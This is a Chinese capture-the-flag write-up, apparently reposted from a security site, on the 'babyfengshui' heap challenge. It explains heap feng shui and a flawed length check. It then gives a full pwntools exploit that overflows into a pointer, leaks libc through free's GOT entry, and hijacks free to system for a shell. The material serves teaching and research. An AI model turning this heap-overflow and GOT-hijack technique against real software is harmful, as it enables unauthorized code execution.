[pwn]堆:堆风水与堆排布-babyfengshui

admin 2025年2月11日17:05:03[pwn]堆:堆风水与堆排布-babyfengshui已关闭评论15 views字数 2319阅读7分43秒阅读模式

所谓堆风水也叫作堆排布,其实说严格了并不是一种漏洞的利用方法,而是一种灵活布置堆块来控制堆布局的方法,在一些一些其他漏洞的利用中起到效果。通过一道经典的题目,由清华蓝莲花战队出的babyfengshui来看一下:

babyfengshui

查看安全策略[pwn]堆:堆风水与堆排布-babyfengshui

没开PIE,但值得一提的是这是一个32位的程序,32位的堆是4字节对齐的。

查看程序逻辑[pwn]堆:堆风水与堆排布-babyfengshui

总共四个功能,比较简单,添加、删除显示和修改描述。

添加:
[pwn]堆:堆风水与堆排布-babyfengshui

添加功能会申请两个堆块,一个堆块大小是输入的大小,用来存放description,另一个堆块大小是固定的0x80,用来存放指向description的指针和name,name长124,正好是0x80-4。也就是说结构如下:
[pwn]堆:堆风水与堆排布-babyfengshui

接着删除和输出都没什么问题,问题出在update,值得一提的是,update description功能是修改user的description,而add功能中也调用了update函数来第一次输入description:
[pwn]堆:堆风水与堆排布-babyfengshui

出问题是判断语句,判断内容是description的地址加上要修改(输入)的长度不能覆盖到存放name那个堆块处。也就是说你第一次输入的description或者修改的description的长度不能达到图中红线处:
[pwn]堆:堆风水与堆排布-babyfengshui
看起来好像没啥问题,但不要因为这两个堆块是连续分配的,就先入为主的认为这两个堆块是连续的!

漏洞利用

试想一种情况,description的大小是我们能控制的,那么如果我们让description堆块大小位fastbins大小范围内,如0x20,连续申请两组,如下图:
[pwn]堆:堆风水与堆排布-babyfengshui
[pwn]堆:堆风水与堆排布-babyfengshui
这时释放user0:
[pwn]堆:堆风水与堆排布-babyfengshui
那么这时候,我们申请一个user,但description长度我们选择0x80,那么就会出现description和name堆块之间并不连续,并且之间隔了两个堆块(一个user),而我们修改description可以一直溢出覆盖下两个堆块

那么利用方法就是:

  1. 通过这个溢出,修改下一个user中的description ptr,也就是指向description的指针,修改为free的got表(没开PIE)。
  2. 然后通过display功能,输出got表的值,泄露出libc地址
  3. 通过泄露的地址计算出system
  4. 修改description(其实是修改free的got表)为system
  5. 然后释放一个description值是/bin/sh的堆块,free已经被劫持为system,完成利用。

exp如下:

from pwn import *

context(arch='amd64', os='linux',log_level='debug')
context.terminal=['tmux','splitw','-h']
p = process(["/glibc/2.19/32/lib/ld-2.19.so","./babyfengshui"],env={"LD_PRELOAD":"/glibc/2.19/32/lib/libc-2.19.so"})

libc = ELF("/glibc/2.19/32/lib/libc-2.19.so")
elf=ELF("./babyfengshui")

def add(deslen,txtlen,text):
    p.sendlineafter("Action: ",str(0))
    p.sendlineafter("size of description: ",str(deslen))
    p.sendlineafter("name: ",'breeze')
    p.sendlineafter("text length: ",str(txtlen))
    p.sendlineafter("text: ",text)

def delete(id):
    p.sendlineafter("Action: ",str(1))
    p.sendlineafter("index: ",str(id))

def Display(id):
    p.sendlineafter("Action: ",str(2))
    p.sendlineafter("index: ",str(id))

def update(id,txtlen,text):
    p.sendlineafter("Action: ",str(3))
    p.sendlineafter("index: ",str(id))
    p.sendlineafter("text length: ",str(txtlen))
    p.sendlineafter("text: ",text)

free_got=elf.got['free']
add(0x20,0x20,'a'*0x20) 
add(0x20,0x20,'a'*0x20) 
delete(0)
add(0x80,0xb8,'a'*0xb0+p32(free_got)) 
add(0x80,0x8,'/bin/sh\x00') 
Display(1)

p.recvuntil("description: ")
leak=u32(p.recv(4))
print "leak->"+hex(leak)
libc_base=leak-(0xf7d9dc30 -0xf7d28000)
print "libc_base->"+hex(libc_base)
system_addr=libc_base+libc.symbols['system']
update(1,4,p32(system_addr))
delete(3)
p.interactive()
raw_input()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48

成功:
[pwn]堆:堆风水与堆排布-babyfengshui

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月11日17:05:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [pwn]堆:堆风水与堆排布-babyfengshuihttp://cn-sec.com/archives/3727979.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.